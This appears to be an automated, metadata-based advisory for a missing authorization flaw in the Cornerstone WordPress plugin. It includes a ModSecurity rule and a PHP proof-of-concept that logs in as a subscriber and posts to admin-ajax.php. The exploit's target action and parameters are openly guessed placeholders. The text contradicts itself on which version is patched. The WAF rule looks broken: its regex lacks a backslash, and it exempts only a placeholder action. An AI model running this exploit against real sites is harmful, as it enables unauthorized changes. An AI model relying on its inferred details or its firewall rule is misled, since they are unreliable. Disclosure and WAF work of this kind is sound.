Atomic Edge analysis of CVE-2026-9710 (metadata-based):
This vulnerability affects the Cornerstone plugin for WordPress, versions up to 7.8.8. It is classified as a Missing Authorization (CWE-862) issue with a CVSS score of 4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N). The vulnerability allows authenticated attackers with subscriber-level access to perform unauthorized actions.
Root Cause:
Based on the CWE classification and limited metadata, Atomic Edge analysis infers that the plugin fails to perform a capability check on a specific function or AJAX handler. In WordPress, AJAX actions typically check `current_user_can()` before execution. The missing check means any authenticated user (subscriber or above) can trigger the action without proper authorization. Since no source code is available, this is an inferred conclusion.
Exploitation:
Atomic Edge research identifies the attack vector as follows: An attacker with subscriber-level access sends a crafted POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to a Cornerstone-specific handler (likely `cornerstone_some_function`). The missing capability check allows the attacker to execute the action, which may involve modifying settings, accessing data, or performing other unauthorized operations. The CVSS vector indicates network access, low attack complexity, and low privileges required.
Remediation:
The fix is straightforward: add a capability check using WordPress’s `current_user_can()` function (e.g., `current_user_can(‘manage_options’)` or `current_user_can(‘edit_posts’)`) at the beginning of the vulnerable function. The patched version 7.8.8 likely implements this check.
Impact:
This vulnerability allows unauthorized access to a protected function, potentially enabling data modification or disclosure. The CVSS impact metrics indicate no confidentiality impact but low integrity impact, meaning an attacker could alter plugin data (such as saved templates or preferences) without permission. There is no impact on availability.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261990,phase:2,deny,status:403,chain,msg:'CVE-2026-9710 - Cornerstone Missing Authorization',severity:2,tag:'CVE-2026-9710'"
SecRule ARGS_POST:action "@rx ^cornerstone_w+$" "chain"
SecRule ARGS_POST:action "!@streq cornerstone_legitimate_action" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-9710 - Cornerstone < 7.8.8 - Missing Authorization
// Configuration: Set target WordPress URL
$target_url = 'http://example.com';
// Attacker credentials (subscriber-level)
$username = 'attacker';
$password = 'password123';
// Step 1: Login to get cookies and nonce if needed
$login_url = $target_url . '/wp-login.php';
$post_data = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log+In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Exploit the missing authorization - attempt to perform unauthorized action
// The exact action parameter is inferred; adjust based on actual plugin endpoints
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = [
'action' => 'cornerstone_some_function', // Inferred hook name
// Add any required parameters here based on the vulnerable function
'some_param' => 'malicious_value'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
echo "Exploit response: " . $response . "n";
// Clean up
unlink('/tmp/cookies.txt');
?>
